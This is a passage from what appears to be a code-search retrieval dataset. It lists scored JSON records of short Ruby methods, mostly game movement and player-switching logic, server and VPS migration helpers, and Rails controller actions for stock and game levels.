"text": "def set_destination(room)\n @exit.set_destination(room)\n end",
"title": ""
},
{
"docid": "5d316a361fdeadf7f9c1301b2c378c99",
"score": "0.48076904",
"text": "def migrate_part2\n if @params[\"online\"]\n vps = VPS.new(@veid)\n\n scp(\"#{@params[\"src_addr\"]}:#{vps.dumpfile}\", vps.dumpfile)\n\n vps.resume\n else\n @vps.start if @params[\"start\"]\n end\n\n @relocate = true\n ok\n end",
"title": ""
},
{
"docid": "0fab3390c06e268980de25bb197f5f12",
"score": "0.47998458",
"text": "def stay\n goto(@from)\n end",
"title": ""
},
{
"docid": "5b971e994094c18f42df30e1664754e1",
"score": "0.47965568",
"text": "def switch_player\n current_index = PLAYERS.index(@cur_player)\n @cur_player = PLAYERS[1-current_index]\n end",
"title": ""
},
{
"docid": "9bfd35111fb9cc978d79db96b8a7b303",
"score": "0.47923842",
"text": "def move(map, direction)\n outbound_room = @room.send(direction)\n if outbound_room.nil?\n puts \"There is no outbound corridor heading #{direction}. Try a different direction.\"\n else\n @room = map.find_room_by_name(outbound_room)\n collect_gem if @room.gem\n puts \"You are now in the #{@room.name.titleize} room.\"\n increment_turn\n end\n end",
"title": ""
},
{
"docid": "3f5111757748af997ba81f287a6a45be",
"score": "0.47916058",
"text": "def restore_battle\n info \"Player (#{@id}) try to restore battle...\"\n\n battle = Actor[@battle_uid]\n if battle && battle.alive?\n\n info \"Battle (@battle_uid) is in progress! Restoring...\"\n\n create_new_battle_on_client battle.battle_initialization_data\n\n opponents = battle.opponents\n\n opponents.each do |player_id, player|\n player.path_ways.flatten.each do |unit|\n data = [unit.uid, unit.name, player_id, unit.path_id]\n send_unit_spawning data\n end\n end\n\n attach_to_battle @battle_uid\n send_custom_event :startBattle\n\n opponents.each_value do |opponent|\n opponent.path_ways.flatten.each {|unit| unit.force_sync = true }\n end\n\n end\n end",
"title": ""
},
{
"docid": "fb2df61b8b90e91296630609eea7ed59",
"score": "0.4790263",
"text": "def move(to)\n js = {:from => @curr}\n publish_event(\"move\", js)\n\n #Actually move to the floor\n diff = (@curr - to).abs\n sleep diff\n send_message(\"a#{to}\\r\")\n @curr = to\n js = {:flr => @curr}\n publish_event(\"arrive\", js)\n end",
"title": ""
},
{
"docid": "8d13f7fb6185312a22185af74c0725b1",
"score": "0.47888675",
"text": "def move_to(location)\n @location = location\n end",
"title": ""
},
{
"docid": "a633c96ca1e9bb8c8b6f52b2f65667ac",
"score": "0.47803643",
"text": "def move(start_pos, end_pos)\n if valid_move?(start_pos, end_pos)\n @towers[end_pos] << @towers[start_pos].pop\n else\n puts \"Invalid move!\"\n self.play\n end\n end",
"title": ""
},
{
"docid": "196b2969cd74eb7f3a84d65b576c5be9",
"score": "0.47755355",
"text": "def failover(location)\n if @current_call.isActive\n @current_call.answer\n if location\n begin\n @current_call.transfer location\n rescue => e\n show \"Unable to transfer to your next_sip_uri location #{e}\"\n end\n else\n error_message = 'We are unable to connect to the fail over sip U R I. Please try your call again later.'\n @current_call.log \"====> #{error_message} <====\"\n @current_call.say error_message, :voice => @tropo_voice\n @current_call.hangup\n end\n end\n end",
"title": ""
},
{
"docid": "4693d15fb941fb5a808eea28c94dffd8",
"score": "0.4759151",
"text": "def moveForward\n\ton(MissionPage) do |page|\n\t\tpage.moveForward\n\t\tpage.sendCommands\n\tend\n\t#sleep 1\nend",
"title": ""
},
{
"docid": "24130a7ef56165013deb68cdc2bdb6d6",
"score": "0.47546965",
"text": "def demote!\n @primary, @secondary = false, true\n close_clients!\n end",
"title": ""
},
{
"docid": "dbe87eefc2a4a35e6875f7bef7d34f9b",
"score": "0.47509402",
"text": "def disconnect()\n send \"QUIT leaving\"\n @connected = false\n end",
"title": ""
},
{
"docid": "66096aff1955f89fa32f332b34471552",
"score": "0.47395885",
"text": "def move_to(location)\n self.location = location\n end",
"title": ""
},
{
"docid": "ef5f48f96a64b4e950c21274d3891602",
"score": "0.47390774",
"text": "def move(fromaccount, toaccount, amount, minconf = 1, comment = nil)\n bitcoin.move fromaccount, toaccount, amount, minconf, comment\n end",
"title": ""
},
{
"docid": "6e5fef29942a815f9c549616cf2ecf42",
"score": "0.4738736",
"text": "def join(who)\n\tsys('join2')\n\t$party.set_active(who)\n\tpop_join(who)\n\t$scene.hud.bar.refresh if $scene.is_a?(Scene_Map)\nend",
"title": ""
},
{
"docid": "d10ce566a4725b51029db5f2c88f5450",
"score": "0.47348174",
"text": "def move_to_space(space_number)\n TSApi.tsapi_moveToSpace(space_number)\n end",
"title": ""
},
{
"docid": "c1f2420e992c4b1558f591181da0db9a",
"score": "0.47281379",
"text": "def leave\n\t\t\t@location.leave ship if @location\n\t\tend",
"title": ""
},
{
"docid": "fc1723ff4b2d19c7f0972ab16fed5ba8",
"score": "0.47179645",
"text": "def goaway\n server.async.goaway self\n end",
"title": ""
},
{
"docid": "85b54075da09acda52259272925ee7cc",
"score": "0.47036132",
"text": "def turn_on_zone(zone=1)\n send_code(\"40#{module_address_for_zone(zone)}3#{zone}\")\n end",
"title": ""
},
{
"docid": "c7fd7cc32190f6a1a40ad5f93cf57249",
"score": "0.47031158",
"text": "def clone_region_forward(new_tour, start_index, stop_index)\n new_tour[(start_index..stop_index)] = @route[(start_index..stop_index)]\n end",
"title": ""
},
{
"docid": "99d17ad832fe37555dfdfd2702bf87f4",
"score": "0.46973145",
"text": "def prepare_to_leave_junction\n\t\tLog.debug \"prepare_to_leave_junction\"\n\t\tbegin\n\t\t\tnext_op = @driving_instructions.shift\n\n\t\t\tif next_op.is_a?(Road) && @driving_position.outgoing_roads.include?(next_op)\n\t\t\t\tturn_to next_op\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\tif next_op == :ParkNext\n\t\t\t\tLog.full \"Parking at #{in_junction}\"\t\n\t\t\telse\n\t\t\t\tLog.warn \"Unknown command #{next_op.inspect}\"\n\t\t\tend\n\t\t\tpark_here\n\t\tend while !@driving_instructions.empty?\n\t\t# the loop checks for returning instructions from Mission, \n\t\t# in case of a returning Mission\n\tend",
"title": ""
},
{
"docid": "5f5a442b0f17aa497ff560931b39febc",
"score": "0.46962836",
"text": "def move(fromaccount, toaccount, amount, minconf = 1, comment = nil)\n dogecoin.move fromaccount, toaccount, amount, minconf, comment\n end",
"title": ""
},
{
"docid": "b92fc74cf9fa2999f918c348d935a238",
"score": "0.4695454",
"text": "def move_back\n position.depart_train(self)\n @current_station -= 1 if @route.stations[@current_station] != @route.stations.first\n position.add_train(self)\n end",
"title": ""
},
{
"docid": "52dbf98bfc16691b2f052ef6995a6b63",
"score": "0.4692406",
"text": "def move_player\n # if the selected location is map the player is on\n Sound.play_cancel\n\n # find the opposite direction\n x = $game_player.x\n y = $game_player.y\n \n if x == 0\n opp_direction = 6\n elsif x >= $game_map.width-1\n opp_direction = 4\n elsif y == 0\n opp_direction = 2\n elsif y >= $game_map.height-1\n opp_direction = 8\n else\n opp_direction = $game_player.direction\n end\n \n # turn the player round and exit\n\t\t$game_player.set_direction(opp_direction)\n end",
"title": ""
},
{
"docid": "bcd1e09855561b04d674d83e65dfd202",
"score": "0.46837458",
"text": "def move_servers_namespaces(dest, *args)\n servers = get_servers(args[0])\n tables = get_tables(args[1])\n @admin.moveServersToRSGroup(servers, dest)\n @admin.setRSGroup(tables, dest)\n end",
"title": ""
},
{
"docid": "afff2d3a07dbd5a5debfd16fdc7432ec",
"score": "0.46782017",
"text": "def switch\n identity = Ropenstack::Identity.new(APP_CONFIG[\"identity\"][\"ip\"], APP_CONFIG[\"identity\"][\"port\"], (sesh :current_token), \"identityv2\")\n identity.scope_token(params[:tenant_name])\n store_services(identity.services(), identity.admin())\t\n sesh :current_tenant, identity.token_metadata()[\"tenant\"][\"id\"]\n sesh :current_tenant_name, identity.token_metadata()[\"tenant\"][\"name\"]\n sesh :current_token, identity.token()\n redirect_to visualisation_url\n end",
"title": ""
},
{
"docid": "3fe934aaeaea76311fd29e3ba611a78b",
"score": "0.4672397",
"text": "def move_address(params={})\n validate_params(params, %w(from to address))\n\n begin\n address_to_move = address(params[:from], params[:address])\n delete_address(params[:from], params[:address])\n @tropo_client.post(\"applications/#{params[:to]}/addresses/#{address_to_move['type']}/#{params[:address]}\")\n rescue\n raise RuntimeError, 'Unable to move the address'\n end\n end",
"title": ""
},
{
"docid": "e713430c0d19795c7089625c0df37f11",
"score": "0.46714145",
"text": "def swap_spaces(space1_id = nil, space2_id = nil)\n result = {}\n\n birst_soap_session do |bc|\n result[:token] = bc.swap_space_contents(:sp1ID => space1_id, :sp2ID => space2_id)\n end\n\n result.merge!(wait_for_birst_job(\n complete: :is_job_complete,\n status: :get_job_status,\n token_name: :jobToken,\n job_token: result[:token],\n wait_timeout: '5m'\n ).result_data)\n\n raise BWSSwapSpacesError, result unless result[:final_status][:status_code] == 'Complete'\n BirstSoapResult.new('swap_spaces complete', result)\n end",
"title": ""
},
{
"docid": "101fb90fe7b5be2e8bdcbd02b6cf19d3",
"score": "0.46602643",
"text": "def try_again\n\t\tVR::msg \"That was in invalide move!\"\t\t\n\tend",
"title": ""
},
{
"docid": "85d30ed56a1fbd7714aa1f8522f1215b",
"score": "0.4659088",
"text": "def transfer_player_begin\n Scheduler.start(:on_warp_start)\n if $game_map.map_id != $game_temp.player_new_map_id\n # Setting player coords to prevent glitch with events that triggers on player position\n $game_player.x = $game_temp.player_new_x\n $game_player.y = $game_temp.player_new_y\n # Load new map\n $game_map.setup($game_temp.player_new_map_id)\n end\n $game_temp.player_transferring = false # Moved here to prevent some event starting during warp process\n $game_player.moveto($game_temp.player_new_x, $game_temp.player_new_y)\n $game_player.direction = $game_temp.player_new_direction if $game_temp.player_new_direction != 0 && !$game_player.direction_fix\n $game_player.straighten\n $game_map.update\n end",
"title": ""
},
{
"docid": "7cbe50cfdfc965255b9a89d7e4e92689",
"score": "0.46580276",
"text": "def stop (winner)\n @connection.stop(winner)\n end",
"title": ""
},
{
"docid": "1a1c8f18b43f463fdcc0f386f1b7da18",
"score": "0.4652519",
"text": "def move(direction)\n\t\tnorth = [\"n\", \"up\", \"north\"]\n\t\teast = [\"e\", \"right\", \"east\"]\n\t\twest = [\"w\", \"left\", \"west\"]\n\t\tsouth = [\"s\", \"down\", \"south\"]\n\t\tif north.include?(direction)\n\t\t\tdirection == \"north\"\n\t\telsif east.include?(direction)\n\t\t\tdirection == \"east\"\n\t\telsif west.include?(direction)\n\t\t\tdirection == \"west\"\n\t\telsif south.include?(direction)\n\t\t\tdirection == south\n\t\tend\n\t\tif $hero.location.exits.has_key?(direction)\n\t\t\tnewroom = $hero.location.exits[direction]\n\t\t\t$hero.location = newroom\n\t\t\t$hero.xy = newroom.xy\n\t\telse\n\t\t\tputs \"You cannot travel #{direction}. The path does not lead there.\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b370b317acb48fc4a00f3f9759d31c0f",
"score": "0.46470875",
"text": "def moveto(x, y)\r\n super\r\n center(x, y)\r\n make_encounter_count\r\n vehicle.refresh if vehicle\r\n @followers.synchronize(x, y, direction)\r\n end",
"title": ""
},
{
"docid": "3189b3a6559350887e2b0c2336b074f6",
"score": "0.4640453",
"text": "def confirmMove(startpos, endpos, connection)\r\n @field[startpos] = nil\r\n @field[endpos] = @turn\r\n end",
"title": ""
},
{
"docid": "94808f1c10140c6a7b9a5cfc0fe78946",
"score": "0.46351805",
"text": "def client_leaving\r\n puts \"\\nElvis has left the building.\"\r\n\r\n @alarm.on\r\n @ac.off\r\n @tv.off\r\n @lights.off\r\n end",
"title": ""
},
{
"docid": "0d72977f6a2f50ffaa890626600c4fcb",
"score": "0.46341988",
"text": "def move_servers(dest, *args)\n servers = java.util.HashSet.new\n args[0].each do |s|\n servers.add(org.apache.hadoop.hbase.net.Address.fromString(s))\n end\n @admin.moveServersToRSGroup(servers, dest)\n end",
"title": ""
},
{
"docid": "9dd1b1d2c336a19fda14cedb0d58bd52",
"score": "0.4631334",
"text": "def move_to(name)\n raise \"Current state #{status} is invalid in order to execute #{name}. It must be one of #{transitions}\" unless available_transitions[:allow].include? name\n self.class.transitions[name].execute_at self\n end",
"title": ""
},
{
"docid": "c3cdc70f15361faa951a75551c72d989",
"score": "0.46306726",
"text": "def set_origin(origin)\n included = @selectable_region.include?(BattleManager.actor.last_origin)\n if $game_switches[Grid::MemorySwitch] && included && !$game_temp.grid[0][BattleManager.actor.last_origin].get_unit.nil?\n $game_temp.grid[1] = [BattleManager.actor.last_origin]\n else\n $game_temp.grid[1] = [get_closest_enemy(origin)]\n end \n end",
"title": ""
},
{
"docid": "a637f85a74d3ea6c63c62159231cc3f7",
"score": "0.46220186",
"text": "def move_servers identifiers, destination_group_id\n requires :identity\n options = {\n :servers => server_references(identifiers),\n :destination => destination_group_id\n }\n data = connection.move_servers_server_group identity, options\n merge_attributes data\n end",
"title": ""
},
{
"docid": "86925f6611e5239f9ab5f5a422dec314",
"score": "0.4620637",
"text": "def move direction\n\t\tif @character.current_space \n\t\t\tif @spaces[@character.current_space].exits[direction] == :exit\n\t\t\t\tputs \"Congratulations, you've won the game\"\n\t\t\t\t@user_answer = false\n\t\t\telse \n\t\t\t\tenter_space @spaces[@character.current_space].exits[direction]\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5abb1ccb8d722b56793cc3350512349b",
"score": "0.46179396",
"text": "def move_target(user, channel_id)\n api.move_client(user.id, channel_id)\n end",
"title": ""
},
{
"docid": "7bdd0bd037a743b8079e6cf4ebd6a3c0",
"score": "0.46162423",
"text": "def switch_players\n if @current_player == @player_one\n @current_player = @player_two\n else\n @current_player = @player_one\n end\n end",
"title": ""
},
{
"docid": "76c5e33d9af2b7a32ebdd061dc8e752b",
"score": "0.4612046",
"text": "def switch_player()\n if @current_turn == \"o\"\n @current_turn = \"x\"\n elsif @current_turn == \"x\"\n @current_turn = \"o\"\n end\n end",
"title": ""
},
{
"docid": "b17aa957f94450fe1eac294ce64b4b9d",
"score": "0.46105587",
"text": "def end_turn\n current_player.regain_stamina\n self.current_player_id = current_player.next_player.first.id\n save!\n end",
"title": ""
},
{
"docid": "5bcf1e9dbea9abefeb0d37073dea6ed9",
"score": "0.46092033",
"text": "def restore_move_route\r\r\n super\r\r\n $game_map.forced_update_events.delete(self)\r\r\n end",
"title": ""
},
{
"docid": "b33411ada5d99d901f582296089b3590",
"score": "0.46083048",
"text": "def disconnect()\n\t\t#@db.srem('sgt-online', @id)\n\t\tputs 'Client Disconnected'\n\tend",
"title": ""
},
{
"docid": "f7bf83be2c9b7d4aa50f5c1c39c4fe05",
"score": "0.46070522",
"text": "def move\n mover.update\n end",
"title": ""
},
{
"docid": "09d6183624c8380fbe273e7dec040ba9",
"score": "0.46057254",
"text": "def set_current_region\n return if session[:region] == request.subdomain\n\n if !request.subdomain.blank? && request.subdomain != 'www'\n region = Region.where(slug: request.subdomain).first\n if region && region.linkable?\n session[:region] = request.subdomain\n else\n session.delete(:region)\n end\n else\n session.delete(:region)\n end\n end",
"title": ""
},
{
"docid": "92eeb8beb58be06720207fd8e7cbbb53",
"score": "0.45988673",
"text": "def move\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "3a3f3ce2599a5a2c2d748ce362203460",
"score": "0.4596544",
"text": "def sync(old_location, new_location)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b7eecb71c94a3b384dc2c69a17d0f790",
"score": "0.4593563",
"text": "def replaced(from, to)\n\t\tsuper if defined? super\n return if !connection_space\n\n\t\tif (from.distribute? && to.distribute?) && (to.self_owned? || from.self_owned?)\n\t\t unless Distributed.updating?(self) || (Distributed.updating?(from) && Distributed.updating?(to))\n\t\t\tconnection_space.each_updated_peer(from) do |peer|\n\t\t\t peer.transmit(:plan_replace, self, from, to)\n\t\t\tend\n\t\t end\n\t\tend\n\t end",
"title": ""
},
{
"docid": "2141e3ca82b5551b041b3350b602c33d",
"score": "0.45924333",
"text": "def swap_turn!\n\n end",
"title": ""
},
{
"docid": "54f9614dac00588dfad30d4c0d6fd3c4",
"score": "0.45918822",
"text": "def reset_move\n if remain_move[0] != $game_temp.battle_turn\n remain_move[0] = $game_temp.battle_turn\n move = base_move_range\n for s_id in @states\n case s_id\n when 11 #delay (slow)\n move -= 2\n end\n end\n remain_move[1] = move\n end\n end",
"title": ""
},
{
"docid": "4feee8a0a735091ac3d301cd5b850bff",
"score": "0.4591659",
"text": "def move_to(x, y)\n @bridge.setWindowPosition Integer(x), Integer(y)\n end",
"title": ""
},
{
"docid": "4feee8a0a735091ac3d301cd5b850bff",
"score": "0.4591659",
"text": "def move_to(x, y)\n @bridge.setWindowPosition Integer(x), Integer(y)\n end",
"title": ""
},
{
"docid": "30136e6c96bd7c098bd8ded808ee3a17",
"score": "0.45901346",
"text": "def move_to_room( room )\r\n if @attacking && @attacking.room != room\r\n stop_combat\r\n end\r\n if self.responds_to_event(:mobile_exit)\r\n Game.instance.fire_event(self, :mobile_exit, nil)\r\n end\r\n if @room\r\n # exit old room\r\n @room.mobile_exit(self)\r\n end\r\n @room = room\r\n if @room\r\n # enter new room\r\n @room.mobile_enter(self)\r\n if @position == :sleeping\r\n output \"Your dreams grow restless.\"\r\n else\r\n do_command \"look\"\r\n end\r\n end\r\n if responds_to_event(:mobile_enter)\r\n Game.instance.fire_event( self, :mobile_enter, { mobile: self } )\r\n end\r\n (@room.occupants - [self]).reject{|t| !t.responds_to_event(:observe_mobile_enter) }.each do |t|\r\n Game.instance.fire_event( t, :observe_mobile_enter, {mobile: self} )\r\n end\r\n end",
"title": ""
},
{
"docid": "3fc21511e86261a42ee0d5c34d076fb9",
"score": "0.45871103",
"text": "def disconnect\n @server = nil\n end",
"title": ""
},
{
"docid": "1ed435954b59375dd87fe497305659ea",
"score": "0.45823303",
"text": "def move\n send(\"move_#{@facing}\")\n end",
"title": ""
},
{
"docid": "ed01343429a22aad75dcf564609f6a6b",
"score": "0.4581016",
"text": "def transition_to(scene_or_scene_name,options = {})\n new_scene = Scenes.generate(scene_or_scene_name,options)\n _prepare_transition(new_scene)\n window.scene = new_scene\n end",
"title": ""
},
{
"docid": "2b66574522c83dc525d8874df0f0c288",
"score": "0.45796758",
"text": "def switch_player\n if @player == PIECE[:x]\n @player = PIECE[:o]\n else\n @player = PIECE[:x]\n end\n end",
"title": ""
},
{
"docid": "f1a924035fa60a3e29649fb1a222f3e1",
"score": "0.4579376",
"text": "def move(destination)\n\t\tputs \"Flying to the #{destination}\"\n\tend",
"title": ""
},
{
"docid": "0c3fc8f6f78d27cce18314965ab8e191",
"score": "0.45737517",
"text": "def move\n # calculate a desired movement that won't go off the map\n begin\n new_lon = self.longitude + self.longitude_movement\n new_lat = self.latitude + self.latitude_movement\n end until !near_map_edge(new_lat, new_lon)\n \n # move the plane\n self.longitude = new_lon\n self.latitude = new_lat\n self.save\n self\n end",
"title": ""
},
{
"docid": "62ce4d682ddfb266146b381ad16bd0fc",
"score": "0.45736736",
"text": "def move(from, to)\n raise NotImplementedError.new(\"move() must be implemented by subclasses of AbstractStagingArea.\")\n end",
"title": ""
},
{
"docid": "f9aeb14f79ee80d488a0cf4d574a8418",
"score": "0.45715314",
"text": "def switch_players\n if @current_player == @player1\n @current_player = @player2\n else\n @current_player = @player1\n end\n end",
"title": ""
},
{
"docid": "cddb6d8e78ac93e856cf0366928e9f58",
"score": "0.45704874",
"text": "def move_by(vector)\n self.standby = false\n # drive\n self.standby = true\n end",
"title": ""
},
{
"docid": "ed53516bd180bf7c27154829564d3ee5",
"score": "0.45683068",
"text": "def return_to_lobby \n $LOGGER.debug \"Game is returning to lobby.\"\n @mode = :lobby\n @finalized_players.clear_players\n reset_variables\n end",
"title": ""
}
] |
2729d80fde151b48d59f62ebc4261180
|
GET /stocklevels GET /stocklevels.json
|
[
{
"docid": "7e1ac82048d5d0ea96b29c752713c38f",
"score": "0.73704666",
"text": "def index\n @stocklevels = Stocklevel.all\n end",
"title": ""
}
] |
[
{
"docid": "fa7e499b5d0234255c9239e27cfd7011",
"score": "0.7463142",
"text": "def index\n @stock_levels = StockLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stock_levels }\n end\n end",
"title": ""
},
{
"docid": "c5363cf3cdaffb5818ef51e75cef9e1c",
"score": "0.70960337",
"text": "def fetch_stock_levels(skus)\n sleep 1 # avoid throttle from Amazon\n\n response = begin\n remote.fetch_stock_levels(skus: skus)\n rescue => ex\n Spree::Fulfillment.log 'Spree::AmazonFulfillment#fetch_stock_levels: Failed to get ' \\\n \"stock levels\"\n Spree::Fulfillment.log \"Spree::AmazonFulfillment#fetch_stock_levels: #{ex}\"\n Airbrake.notify(e) if defined?(Airbrake)\n\n return nil\n end\n\n Spree::Fulfillment.log \"Spree::AmazonFulfillment#fetch_stock_levels: #{response.params}\"\n\n response\n end",
"title": ""
},
{
"docid": "43cc44561b1d35d6977c1c989aa16b6a",
"score": "0.68441033",
"text": "def get_game_levels\n\t\tlevels = Level.order(\"points DESC\").all\n\t\trender :json => levels.map{|level| level.as_json(:only=>[:id,:name,:points],:methods => :image)}.to_json\n\tend",
"title": ""
},
{
"docid": "6bb6e6daf1f438a4e7cee83c7f0eab02",
"score": "0.6719787",
"text": "def levels_chart_data\n data = ::Api::Charts::Sector.new(\n companies_scope(params), enable_beta_mq_assessments: session[:enable_beta_mq_assessments]\n ).companies_count_by_level\n\n render json: data.chart_json\n end",
"title": ""
},
{
"docid": "2d46658494bde0aa7f63b7dcf245e01c",
"score": "0.6672263",
"text": "def show\n @stock_level = StockLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_level }\n end\n end",
"title": ""
},
{
"docid": "64914545c92efcedbfe1231e43d55a4c",
"score": "0.6555338",
"text": "def index\n @servicelevels = Servicelevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servicelevels }\n end\n end",
"title": ""
},
{
"docid": "872aa650114a16ba32a5260a1fe0fb7d",
"score": "0.65488786",
"text": "def get_levels(opts = {})\n data, _status_code, _headers = get_levels_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "7e81194c1765ab2c0c7b1c576b83abe3",
"score": "0.65351474",
"text": "def index\n @levels = Level.all\n end",
"title": ""
},
{
"docid": "7e81194c1765ab2c0c7b1c576b83abe3",
"score": "0.65351474",
"text": "def index\n @levels = Level.all\n end",
"title": ""
},
{
"docid": "7e81194c1765ab2c0c7b1c576b83abe3",
"score": "0.65351474",
"text": "def index\n @levels = Level.all\n end",
"title": ""
},
{
"docid": "7e81194c1765ab2c0c7b1c576b83abe3",
"score": "0.65351474",
"text": "def index\n @levels = Level.all\n end",
"title": ""
},
{
"docid": "7e81194c1765ab2c0c7b1c576b83abe3",
"score": "0.65351474",
"text": "def index\n @levels = Level.all\n end",
"title": ""
},
{
"docid": "cc3a90def46e77cbc5e290e63eaa5482",
"score": "0.64924026",
"text": "def stock_levels=(level)\n set_inventory level\n end",
"title": ""
},
{
"docid": "662810e4c68e32b5631b9d5e175cb8c4",
"score": "0.647714",
"text": "def get_levels_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: GamificationLevelingApi.get_levels ...\"\n end\n # resource path\n local_var_path = \"/leveling\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_name'] = opts[:'filter_name'] if !opts[:'filter_name'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceLevelingResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: GamificationLevelingApi#get_levels\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "b444aa2bca0efbd1f4cd029bcb37d2cb",
"score": "0.64769316",
"text": "def levels\n self.dig_for_integer(\"levels\")\n end",
"title": ""
},
{
"docid": "f6fad5703731f9f61fa44983d2ad2eba",
"score": "0.642071",
"text": "def level\n level = params[:id]\n numItems = params[:number]\n # Don't try to return more than 10 items (performance)\n if numItems.to_i > 10 || numItems.to_i < 1\n render json: {error: \"Max 10 Items, Min 5 items\", status: 403}.to_json\n return\n end\n # Load items by level and limit to request < 10\n puts \"Level: #{level}, numItems: #{numItems}\"\n @items = Item.where(level_id: level).limit(numItems);\n # Ensure enough items exists\n if @items.empty?\n render json: {error: \"No items available\", status: 400}.to_json\n return\n # Everything is checked, return array of items\n end\n render json: @items.to_json\n end",
"title": ""
},
{
"docid": "ecc9d45da691388007f0fc7bb8ad9dbf",
"score": "0.6417296",
"text": "def index\n @game = Game.find(params[:game_id])\n @levels = @game.levels\n end",
"title": ""
},
{
"docid": "ecc9d45da691388007f0fc7bb8ad9dbf",
"score": "0.6417296",
"text": "def index\n @game = Game.find(params[:game_id])\n @levels = @game.levels\n end",
"title": ""
},
{
"docid": "ecc9d45da691388007f0fc7bb8ad9dbf",
"score": "0.6417296",
"text": "def index\n @game = Game.find(params[:game_id])\n @levels = @game.levels\n end",
"title": ""
},
{
"docid": "07f15ff0a8dabf40db8611b4f7103894",
"score": "0.6407267",
"text": "def getLevels\n return @levels \n end",
"title": ""
},
{
"docid": "49dde56c91a606c564f9a8c63bc277c6",
"score": "0.6289602",
"text": "def get_levels\n return @level\n end",
"title": ""
},
{
"docid": "567c1cecf6a30d2ab1030163b1407217",
"score": "0.6272748",
"text": "def index\n @english_levels = EnglishLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @english_levels }\n end\n end",
"title": ""
},
{
"docid": "5a21debfa9840a1b0c48c492b4e118b3",
"score": "0.6268762",
"text": "def new\n @stock_level = StockLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock_level }\n end\n end",
"title": ""
},
{
"docid": "4459f16da58d615a100ddab78978cfee",
"score": "0.62157947",
"text": "def set_stocklevel\n @stocklevel = Stocklevel.find(params[:id])\n end",
"title": ""
},
{
"docid": "8825736307366b274d56145202c6127c",
"score": "0.62077916",
"text": "def index\n @hqlevels = Hqlevel.all\n end",
"title": ""
},
{
"docid": "d0fde1d5e9404b48f8d749e0520d319f",
"score": "0.6159116",
"text": "def index\n @auction_levels = Auction::Level.all\n end",
"title": ""
},
{
"docid": "34a6ccbdbd80f2155883808348a5934f",
"score": "0.612886",
"text": "def index\n @gst_levels = GstLevel.where(hotel_src_id: current_user.hotel_src_id).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gst_levels }\n end\n end",
"title": ""
},
{
"docid": "3b952a2001f68528b206a9db136d2cfc",
"score": "0.61089474",
"text": "def level\n nodes = EasyLevel.all\n inodes = IntermediateLevel.all\n dnodes = DifficultLevel.all\n cnodes = ChallengeLevel.all\n respond_to do |format|\n format.html { render :level, locals: { nodes: nodes, inodes: inodes, dnodes: dnodes, cnodes: cnodes} }\n end\n end",
"title": ""
},
{
"docid": "05dc1fa7bc3fadaebda85a8196a11bdf",
"score": "0.61089075",
"text": "def index\n @auth_levels = AuthLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @auth_levels }\n end\n end",
"title": ""
},
{
"docid": "2c0cab2c8151f4a79c92206574b258a7",
"score": "0.61023104",
"text": "def index\n @course_levels = CourseLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @course_levels }\n end\n end",
"title": ""
},
{
"docid": "fe3de582a2724fa75c179201df447ec3",
"score": "0.60879034",
"text": "def load_levels\n @levels = @course.numbered_levels\n end",
"title": ""
},
{
"docid": "a7413dd202168943c8675f23fb61f407",
"score": "0.608077",
"text": "def index\n @level = Level.find_by_level_identifier(params[:level_id])\n @scores = @level.scores.order('steps ASC')\n render :json => @scores\n end",
"title": ""
},
{
"docid": "5bb6eac3f8a42618e700bda45ddcb5e3",
"score": "0.60739726",
"text": "def new\r\n @levels = session[:kingdom].levels\r\n end",
"title": ""
},
{
"docid": "44387cbf8ca19a10e8e90fd130a83100",
"score": "0.60582185",
"text": "def levels\n @@levels ||= platform::Levels.new\n end",
"title": ""
},
{
"docid": "7d792e766c1f596ab096b4618758ec14",
"score": "0.60523534",
"text": "def level\n @json['level'].to_sym\n end",
"title": ""
},
{
"docid": "b9c3f2114c7afe488b5991d4cda703a9",
"score": "0.60313076",
"text": "def index\n @userlevels = Userlevel.all\n end",
"title": ""
},
{
"docid": "324916f9e1a0bf512fd84fd88b3c33fc",
"score": "0.60190046",
"text": "def index\n @stocks = Stock.all\n\n render json: @stocks\n end",
"title": ""
},
{
"docid": "f2f6ecd26b5cc452a2f7f31a50066d0a",
"score": "0.6012838",
"text": "def index\n @stocks = Stock.all\n json_response(@stocks)\n end",
"title": ""
},
{
"docid": "9c818201a44bbe0546fe34f080200c15",
"score": "0.6009041",
"text": "def index\n @levels = Level.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.html.erb\n format.xml { render :xml => @levels }\n end\n end",
"title": ""
},
{
"docid": "2e9d457a74fbd09067b9afe4b1010d68",
"score": "0.60075134",
"text": "def index\n @game_levels = @game.game_levels\n end",
"title": ""
},
{
"docid": "c5baf5bf02d6acf588d36311c6e6144d",
"score": "0.60034394",
